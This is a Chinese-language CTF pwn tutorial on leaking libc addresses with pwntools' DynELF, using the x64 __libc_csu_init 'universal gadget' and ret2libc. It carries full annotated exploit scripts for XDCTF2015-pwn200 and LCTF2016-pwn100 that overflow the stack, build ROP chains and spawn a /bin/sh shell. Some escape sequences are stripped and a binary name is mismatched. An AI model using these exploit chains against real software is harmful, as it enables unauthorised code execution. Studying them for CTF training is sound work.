用DynELF子產品和通用gadget實作libc通殺(詳細注釋)
文章目錄
- 用DynELF子產品和通用gadget實作libc通殺(詳細注釋)
-
-
- 洩露libc版本方式
-
- x86版本
- x64版本
- 萬能gadget
- ret2libc
-
- x86版本
- x64版本
-
洩露libc版本方式
主要原理:利用棧溢出等寫入棧的手段調用write或者puts函數,并控制write或puts函數參數洩露libc函數真實位址
- write函數特點:可以控制大小,但是在64位程式中需要使用gadget進行寄存器傳參,有時可能碰不到合适gadget
- puts函數特點:不可控制輸出大小,但是所需參數少,常見,使用靈活。
x86版本
由于x86程式直接使用棧傳參,是以可以直接通過構造棧控制函數調用參數
以XDCTF2015-pwn200為例
def leak(address):
payload = "A" * 112 # 棧大小
payload += p32(writeplt) # write函數plt表位址位址
payload += p32(vulnaddress) # 傳回位址,持續控制
payload += p32(1) # write标準輸出
payload += p32(address) # 目的輸出
payload += p32(4) # 長度
p.send(payload)
data = p.recv(4) # recv長度4位元組
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
x64版本
x64程式先使用寄存器傳參,當參數不多于6個時, 參數從左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9
以LCTF2016-pwn100為例
由于在程式中沒有找到write函數的調用,是以隻能使用puts函數進行洩露
def leak(address):
count = 0
data = ''
payload = "A" * 64 + "A" * 8 # 填充垃圾資料
payload += p64(poprdi) + p64(address) # 目标位址,需要先把位址pop到rdi中
payload += p64(putsplt) # 調用puts
payload += p64(startaddress) # 因為puts函數會一直輸出,直到遇到棧中的截斷字元,是以為了保證棧的平衡,是以傳回到start
payload = payload.ljust(200, "B")
p.send(payload)
print p.recvuntil('bye~n')
up = ""
# 為了接收到puts函數輸出的所有字元,逐字元的接收拼接字元串,因為不知道puts函數以什麼字元結束輸出,是以引入逾時機制
while True:
c = p.recv(numb=1, timeout=0.5)
count += 1
if up == 'n' and c == "":
data = data[:-1]
data += "x00"
break
else:
data += c
up = c
data = data[:4]
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data
萬能gadget
下面的代碼會出現一條叫做萬能gadget的gadget,詳細的解釋可以點這裡,為了節省大家的時間,這裡直接說說大概内容:在棧溢出的場景下,隻要 x64 程式中調用了 libc.so,就會自帶一個很好用的通用Gadget:pop6
圖中就是我們所說的通用gadget,這個gadget到底有多通用呢?
假如我們把這個gadget分成兩個片段——0x40075A和0x400740,我們先調用gadget1(40075A),這個gadget可以把rbx,rbp,r12,r13,r14,r15都設成我們需要的值,一直到這裡,這個gadget1都還沒有展現出它的價值,但當我們return到gadget2(400740)的位置時,你會驚奇地發現,剛才設定的r13、r14的值直接變成了給rdx,rsi賦的值
到目前為止,我們已經控制了函數參數傳遞的兩個寄存器(rdx,rsi),但這還不是全部,在0x400762處,pop r15的機器碼為41 5F,而pop rdi的機器碼是5F,是以,在0x400763的位置還隐藏着一條gadget3——pop rdi;retn。至此,函數調用約定的前三個傳參寄存器的值都已經在我們的控制中了
而這時候通過控制r12和rbx的值,可以實作任意已知位址函數的調用(400749)
然後通過合理設定rbp的值,就可以順序執行到400764的return,繼續執行ROP鍊。(當然也可以通過控制rbp與rbx不等使得gadget2被重複執行)
ret2libc
獲知libc版本後,我們就可以通過持續的棧控制進行任意libc函數的調用。
主要原理:libc各函數裝載到記憶體中時,各函數之間的偏移量是确定的,是以根據已知函數的位址就可以得出任意libc函數的位址
x86版本
函數通過棧傳參,是以隻要能控制棧就能用
以XDCTF2015-pwn200為例
from pwn import *
p = process("pwn200")
elf = ELF("pwn200")
# 已調用過的函數got表位址已知
writeplt = elf.symbols['write']
writegot = elf.got['write']
readplt = elf.symbols['read']
readgot = elf.got['read']
vulnaddress = 0x08048484 # 洩露位址後傳回函數位址(可再次棧溢出的位置)
startaddress = 0x080483d0 # 調用start函數,用以恢複棧,同時可以持續控制
bssaddress = 0x0804a020 # 資料段,用來寫入“/bin/sh”字元串
def leak(address):
payload = "A" * 112 # 棧大小
payload += p32(writeplt) # write函數plt表位址位址
payload += p32(vulnaddress) # 傳回位址,持續控制
payload += p32(1) # write标準輸出
payload += p32(address) # 目的輸出
payload += p32(4) # 長度
p.send(payload)
data = p.recv(4) # recv長度4位元組
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
# 找到system函數
print p.recvline()
dynelf = DynELF(leak, elf=ELF("./lctf-pwn200"))
systemAddress = dynelf.lookup("__libc_system", "libc")
print "systemAddress:", hex(systemAddress)
# 使用start_addr恢複棧狀态
payload1 = "A" * 112
payload1 += p32(startaddress)
p.send(payload1)
print p.recv()
# 要是64位程式的話,通過寄存器傳參就不會出現棧不平衡的情況。但是作為32位程式,參數是通過寄存器傳遞的,是以在調用完read函數後,寫入的“p32(0) + p32(bss_addr) + p32(8)”參數還殘留在棧上,為了達到持續挾持的目的,是以需要找到一個gadget把前面的内容pop掉以保持棧平衡
pop3_addr = 0x0804856c # pop ebx ; pop edi ; pop ebp ; ret
payload1 = "A" * 112
payload1 += p32(readplt)
payload1 += p32(pop3_addr)
payload1 += p32(0) # 從給定位址的第0個位元組開始讀入
payload1 += p32(bssaddress) # 給定位址
payload1 += p32(8) # 讀取長度
# 調用system函數,傳回位置還是為了持續控制的棧溢出位置
payload1 += p32(systemAddress) + p32(vulnaddress) + p32(bssaddress)
p.send(payload1)
p.send('/bin/sh')
p.interactive()
x64版本
以LCTF2016-pwn100為例
from pwn import *
p = process("./pwn100")
elf = ELF("./pwn100")
# 沒有write
readplt = elf.symbols['read']
readgot = elf.got['read']
putsplt = elf.symbols['puts']
putsgot = elf.got['puts']
mainaddress = 0x4006b8
startaddress = 0x400550
poprdi = 0x400763 # gadget3
pop6address = 0x40075a # gadget1
movcalladdress = 0x400740 # gadget2
waddress = 0x601000 #可寫的位址,應該隻要不是readonly的位址都可以,pwngdb在程式運作起來後可以用 vmmap指令檢視可寫段
def leak(address):
count = 0
data = ''
payload = "A" * 64 + "A" * 8
payload += p64(poprdi) + p64(address)
payload += p64(putsplt)
payload += p64(startaddress)
payload = payload.ljust(200, "B")
p.send(payload)
print p.recvuntil('bye~n')
up = ""
while True:
c = p.recv(numb=1, timeout=0.5)
count += 1
if up == 'n' and c == "":
data = data[:-1]
data += "x00"
break
else:
data += c
up = c
data = data[:4]
log.info("%#x => %s" % (address, (data or '').encode('hex')))
return data
d = DynELF(leak, elf=ELF('./pwn100'))
systemAddress = d.lookup('__libc_system', 'libc')
print "systemAddress:", hex(systemAddress)
print "-----------write /bin/sh to bss--------------"
payload1 = "A" * 64 + "A" * 8 # 垃圾資料
# gadget1 pop到rbx pop到rbp pop到r12 r13 r14 r15
payload1 += p64(pop6address) + p64(0) + p64(1) + p64(readgot) + p64(8) + p64(waddress) + p64(0)
#gadget1 return到 gadget2
# 這裡把r13複制到rdx,把r14複制到rsi,把r15的低位元組複制到rdi的低位元組
# 随後調用r12+rbx*8(read函數),參數為0,wadress,8
payload1 += p64(movcalladdress)
# 由于調用過後,rbp=rbx,順序執行gadget1,此時有縮棧和pop6的操作,為了保證棧平衡,往棧裡填充x00*56(7 * 8)
payload1 += 'x00'*56
# 已經讀入/bin/sh,傳回start address恢複棧
payload1 += p64(startaddress)
payload1 = payload1.ljust(200, "B")
p.send(payload1)
print p.recvuntil('bye~n')
p.send("/bin/shx00")
print "-----------get shell--------------"
payload2 = "A" * 64 + "A" * 8
payload2 += p64(poprdi) + p64(waddress) # gadget3把/bin/sh位址放入rdi
payload2 += p64(systemAddress) # 調用system
payload2 += p64(startaddress) # 恢複棧
payload2 = payload2.ljust(200, "B")
p.send(payload2)
p.interactive()